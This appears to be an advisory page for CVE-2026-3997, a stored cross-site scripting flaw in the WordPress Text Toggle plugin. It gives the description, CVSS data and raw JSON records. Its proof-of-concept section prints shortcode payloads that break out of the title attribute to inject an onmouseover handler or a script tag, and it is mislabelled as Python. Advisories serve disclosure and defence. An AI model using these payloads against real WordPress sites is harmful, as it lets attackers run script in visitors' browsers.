Security Vulnerability Report
中文
CVE-2026-3997 CVSS 6.4 MEDIUM

CVE-2026-3997

Published: 2026-03-21 04:17:38
Last Modified: 2026-04-24 16:27:44

Description

The Text Toggle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute of the [tt_part] and [tt] shortcodes in all versions up to and including 1.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the avp_texttoggle_part_shortcode() function, the 'title' attribute is extracted from shortcode attributes and concatenated directly into HTML output without any escaping — both within an HTML attribute context (title="...") on line 116 and in HTML content on line 119. While the 'class' attribute is properly validated using ctype_alnum(), the 'title' attribute has no sanitization whatsoever. An attacker can inject double-quote characters to break out of the title attribute and inject arbitrary HTML attributes including event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Text Toggle <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-3997: Stored XSS in Text Toggle Plugin --> <!-- Usage: Add this shortcode to a page/post with Contributor+ access --> <!-- Payload injects an onmouseover event handler --> [tt title="" onmouseover="alert('CVE-2026-3997') " class="]Click Me[/tt] <!-- Alternatively, inject script tag via content context (line 119) if applicable --> [tt title="test"><script>alert('XSS')</script>[/tt] <!-- The resulting HTML will be similar to: --> <!-- <div title="" onmouseover="alert('CVE-2026-3997') " class="...">Click Me</div> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3997", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:37.530", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Text Toggle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' shortcode attribute of the [tt_part] and [tt] shortcodes in all versions up to and including 1.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the avp_texttoggle_part_shortcode() function, the 'title' attribute is extracted from shortcode attributes and concatenated directly into HTML output without any escaping — both within an HTML attribute context (title=\"...\") on line 116 and in HTML content on line 119. While the 'class' attribute is properly validated using ctype_alnum(), the 'title' attribute has no sanitization whatsoever. An attacker can inject double-quote characters to break out of the title attribute and inject arbitrary HTML attributes including event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Text Toggle para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del atributo 'title' del shortcode de los shortcodes [tt_part] y [tt] en todas las versiones hasta la 1.1 inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en los atributos de shortcode proporcionados por el usuario. Específicamente, en la función avp_texttoggle_part_shortcode(), el atributo 'title' se extrae de los atributos del shortcode y se concatena directamente en la salida HTML sin ningún escape — tanto dentro de un contexto de atributo HTML (title=\"...\") en la línea 116 como en el contenido HTML en la línea 119. Mientras que el atributo 'class' se valida correctamente usando ctype_alnum(), el atributo 'title' no tiene ninguna sanitización en absoluto. Un atacante puede inyectar caracteres de comillas dobles para salir del atributo title e inyectar atributos HTML arbitrarios, incluidos los controladores de eventos. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/text-toggle/tags/1.1/avp-texttoggle.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/tags/1.1/avp-texttoggle.php#L116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/tags/1.1/avp-texttoggle.php#L119", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/tags/1.1/avp-texttoggle.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/trunk/avp-texttoggle.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/trunk/avp-texttoggle.php#L116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/trunk/avp-texttoggle.php#L119", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/text-toggle/trunk/avp-texttoggle.php#L72", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d7ac0683-120f-4e76-9d44-5ee1c789b2c8?source=cve", "source": "[email protected]"}]}}